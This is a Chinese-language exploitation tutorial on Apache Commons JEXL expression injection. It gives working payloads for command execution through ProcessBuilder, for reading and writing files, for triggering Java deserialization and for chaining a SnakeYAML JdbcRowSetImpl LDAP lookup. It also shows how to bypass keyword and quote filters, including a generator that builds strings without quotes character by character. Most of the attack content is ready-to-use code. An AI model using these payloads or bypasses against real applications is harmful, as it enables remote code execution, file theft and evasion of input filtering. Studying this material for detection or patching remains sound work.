Jexl 表达式注入分析与bypass
字数 1059 2025-08-22 22:47:39
Jexl 表达式注入分析与Bypass技术详解
0x00 前言
本文深入分析Jexl表达式注入漏洞,探讨在过滤了new(、get、forName等关键字的限制条件下如何进行有效利用。内容涵盖Jexl基础、多种利用方式、绕过技巧以及无引号Bypass技术。
0x01 Jexl基础介绍
Jexl简介
Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在Java应用程序中执行动态和灵活的表达式。JEXL旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。
基本用法
Maven依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.2</version>
</dependency>
基础示例:
JexlEngine engine = new JexlBuilder().create();
String exp = "1+1";
JexlExpression expression = engine.createExpression(exp);
Object evaluate = expression.evaluate(new MapContext());
System.out.println(evaluate);
自定义变量示例:
// 创建Jexl引擎
JexlEngine engine = new JexlBuilder().create();
// 创建表达式
String exp = "a + b + user.name";
JexlExpression expression = engine.createExpression(exp);
// 创建自定义上下文
Map<String, Object> variables = new HashMap<>();
variables.put("a", 10);
variables.put("b", 20);
// 创建一个用户对象
User user = new User("John Doe");
variables.put("user", user);
// 使用自定义上下文
JexlContext context = new MapContext(variables);
// 计算表达式
Object result = expression.evaluate(context);
// 输出结果
System.out.println("Result: " + result); // 输出 Result: 30John Doe
关键语法特性
new关键字允许在表达式中创建新的对象实例,语法为:new("java.lang.Double", 10)返回10.0- 注意:
new的第一个参数可以为变量或者值为字符串或Class的表达式 - 多构造函数情况下,JEXL会尝试调用最恰当的无歧义的构造方法
0x02 利用方式总结
命令执行
ProcessBuilder利用:
String[] cmd = new String[]{"open", "-a", "Calculator"};
ProcessBuilder p = new ProcessBuilder(cmd);
p.start();
转换为Jexl表达式时需要注意数组实例化问题:
- 直接尝试会失败:
new('java.lang.ProcessBuilder', new('java.lang.String[]','/bin/bash','-c','open -a Calculator')).start()
// 报错:unsolvable function/method 'java.lang.String[](String,String,String)'
- 正确方式:
- 使用
[]语法:
new('java.lang.ProcessBuilder', ['/bin/bash','-c','open -a Calculator']).start()
- 使用
split方法:
new('java.lang.ProcessBuilder','open -a Calculator'.split(' ')).start()
文件读写
读取文件:
- 直接使用Files类会失败(无法调用静态方法):
java.nio.file.Files.readAllBytes(new('java.io.File','/tmp/flag.txt').toPath())
// 输出null
- 替代方案(使用Scanner):
new('java.util.Scanner', new('java.io.File','/tmp/flag.txt')).useDelimiter('\\Z').next()
写入文件:
[a = new('java.io.FileOutputStream','1.txt'), a.write(116), a.write(101), a.write(115), a.write(116), a.close()]
批量写入脚本:
def newclass(cname, arg):
payload = f'new("{cname}"'
if type(arg) == str:
payload += f', {arg}'
else:
for i in arg:
if type(i) == bool or i.startswith('new'):
payload += ", " + str(i).replace("True", "true")
else:
payload += ", \"" + i + '"'
payload += ")"
return payload
def base64_to_payload(base64_str):
byte_data = base64.b64decode(base64_str)
hex_str = byte_data.hex()
res = ""
for i in range(0, len(hex_str), 2):
res += f", a.write({int(hex_str[i:i + 2], 16)})"
print(res)
return res
def writefile(filename, content):
fw = newclass('java.io.FileOutputStream', [filename])
payload = f'[a={fw}{content}, a.close()]'
print(payload)
反序列化利用
- 写入反序列化数据(使用文件写入技术)
- 触发反序列化:
new('java.io.ObjectInputStream', new('java.io.FileInputStream','./payload.bin')).readObject()
结合其他组件利用
SnakeYAML利用:
new('org.yaml.snakeyaml.Yaml').load('!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: ldap://127.0.0.1:7777/aa, autoCommit: true}')
0x03 简单Bypass技巧
- 空格绕过:
new ("java.lang.Object")(在new和括号间加空格) - 数组实例化替代:使用
split等函数生成数组 - 字符串拼接:当关键字被过滤时,使用字符串拼接如
"runt"+"ime"
0x04 无引号Bypass技术
问题分析
当引号被过滤时面临的问题:
- 无法直接使用字符串
- 无法实例化类
- 无法调用普通方法
- JEXL无法直接调用静态方法
解决方案
- 获取String对象:
"a".class
无引号替代方案:
1.toString().class
- 获取Character对象:
1.toString().charAt(0).class
- 将int转换为char[]:
1.toString().charAt(0).toChars(121)
- 最终无引号字符串构造:
1.toString().valueOf(1.toString().charAt(0).toChars(121))
字符串生成方法:
public static String str2Expr(String str) {
StringBuilder expr = new StringBuilder();
for(int i = 0; i < str.length(); i++) {
expr.append("1.toString().valueOf(1.toString().charAt(0).toChars(")
.append((int)str.charAt(i)).append("))");
if(i < str.length() - 1) {
expr.append("+");
}
}
return expr.toString();
}
实际利用示例
构造无引号ProcessBuilder:
String exp = "new(" + str2Expr("java.lang.ProcessBuilder") + ",[" +
str2Expr("/bin/bash") + "," + str2Expr("-c") + "," +
str2Expr("open -a Calculator") + "]).start()";
0x05 扩展思考
本文未覆盖但值得探索的方向:
- 反射调用技术
- 执行结果回显方法
- 内存马注入技术
- 更复杂的过滤绕过技术
这些方向留给读者自行研究和实践。